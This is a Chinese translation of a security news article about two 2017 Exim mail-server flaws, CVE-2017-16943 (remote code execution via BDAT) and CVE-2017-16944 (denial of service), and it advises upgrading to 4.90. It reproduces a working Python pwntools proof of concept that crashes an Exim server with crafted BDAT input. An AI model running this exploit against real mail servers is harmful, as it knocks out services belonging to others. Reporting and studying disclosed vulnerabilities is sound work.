翻译:360代码卫士
开源邮件传输代理Exim
Exim是由剑桥大学Philip Hazel开发的邮件传输代理,负责邮件的路由,转发和投递。它可运行在绝大多数的类Unix系统上,包括Solaris、AIX、Linux、macOS等。相比其他MTA,Exim配置更灵活,支持String Expansion技术,能执行诸如条件判断,字符转换等功能。
Exim漏洞被提交至BugTracker
一名安全研究员发现并公开披露了流行互联网邮件信息传输代理Exim中的两个紧急漏洞,其中一个能导致远程攻击者在目标服务器上执行恶意代码。
最开始漏洞是由Phil Ponnock在黑五(11月25日)没有任何预告发布在这里的,提交到了该项目的BugTracker。
提交内容包含两个漏洞,一个RCE漏洞,一个DoS漏洞
第一个漏洞是使用后释放漏洞CVE-2017-16943,通过构造一个BDAT命令序列就可被用于在SMTP服务器中远程执行任意代码。研究人员还公布了用Python编写的PoC利用代码,任何人均可在易受攻击的Exim服务器中执行代码。
第二个漏洞是一个DoS缺陷,CVE-2017-16944,可导致远程攻击者在连接关闭的情况下通过强制其在不崩溃的情况下无限循环地运行将Exim服务器挂起。这个漏洞产生的原因是在解析BDAT数据头时未正确检查表示邮件结束的 ‘.’字符。研究人员还提供了PoC利用代码,导致Exim服务器耗尽栈并崩溃。
PoC
此为可造成Exim崩溃的PoC,封面图中包含另一个漏洞PoC
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
# pip install pwntoolsfrom pwn import *r = remote('localhost', 25)r.recvline()r.sendline("EHLO test")r.recvuntil("250 HELP")r.sendline("MAIL FROM:<test@localhost>")r.recvline()r.sendline("RCPT TO:<test@localhost>")r.recvline()#raw_input()r.sendline('a'*0x1100+'\x7f')#raw_input()r.recvuntil('command')r.sendline('BDAT 1')r.sendline(':BDAT \x7f')s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)r.send(s+ ':\r\n')r.recvuntil('command')#raw_input()r.send('\n')r.interactive()exit() |
用户应尽快更新
Exim更新并不是非常多,上一个版本4.88刚刚修复了去年年底的CVE-2016-9963漏洞,而目前的两个漏洞则影响4.88和新版本4.89。为了保证安全,建议用户及时更新至在GitHub上发布的Exim 4.90版本。目前Exim官网并不能下载修复了漏洞的4.90版本。
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://thehackernews.com/2017/11/exim-internet-mailer-flaws.html
















暂无评论内容